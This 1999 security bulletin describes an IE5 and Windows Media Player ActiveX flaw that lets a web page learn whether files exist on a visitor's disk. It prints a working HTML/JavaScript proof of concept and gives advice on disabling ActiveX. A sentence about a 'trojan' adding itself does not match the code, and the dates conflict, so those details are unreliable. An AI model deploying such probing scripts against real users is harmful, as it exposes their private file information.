IE5 and Media Player File Exposure - 10 Nov 1999

The problem is an error code returned by Windows Media Player ActiveX
object when a file is attempted to be opened. Windows Media Player ActiveX object returns "-2147220970" error in the ErrorCode property when a file or directory does not exist but is tried to be opened.

DEMONSTRATION CODE

Paste this code into an HTML file, save it to your Web server, then access the newly created page using Internet Explorer 5.0. If ActiveX is enabled, the trojan (while harmless) will add itself to your system.

	 
	 <object id="wm" WIDTH=0 HEIGHT=0
    classid="clsid:22D6F312-B0F6-11D0-94AB-0080C74C7E95"><br>
	 </object><br>
	 <SCRIPT><br>
	 // -2147220970<br>
	 function checkfile()<br>
	 \{<br>
	 b=document.all.wm;<br>
	 b.FileName=document.forms\[0\].elements\[0\].value;<br>
	 if (b.ErrorCode == -2147220970)<br>
	 alert("File does not exist")<br>
	 else<br>
	 alert("File exists");<br>
	 \}<br>
	 </SCRIPT><br>
	 <FORM><br>
	 <INPUT TYPE="TEXT" VALUE="C:\AUTOEXEC.BAT" SIZE=60><br>
	 <INPUT TYPE="SUBMIT" VALUE="Check file"
	 onclick="checkfile()"><br>
	 </FORM>
	 	 

DEFENSE

To guard against the risks presented in this bulletin, be sure to adjust control of ActiveX Scripting, Controls, and Plugins on your IE5 Browser. To do so, choose the Tools menu, select Options, and then click the Security tab. On the dialog, choose the Internet zone, and click the Custom Level button, which opens a new dialog. On the new dialog, scroll through the list and adjust all ActiveX properties to either "Disable" or "Prompt." Keep in mind that if you set these controls to "Prompt," you may experience a large number of prompts on the screen while surfing the Internet. If the prompts become a bother, simply readjust the ActiveX properties to "Disable."

VENDOR RESPONSE

Microsoft is aware of this issue, however they have released no statement as of 1pm CST on November 4, 1999.

CREDITS
Discovered by Georgi Guninski
Posted here at NTSecurity.net on November 14, 1999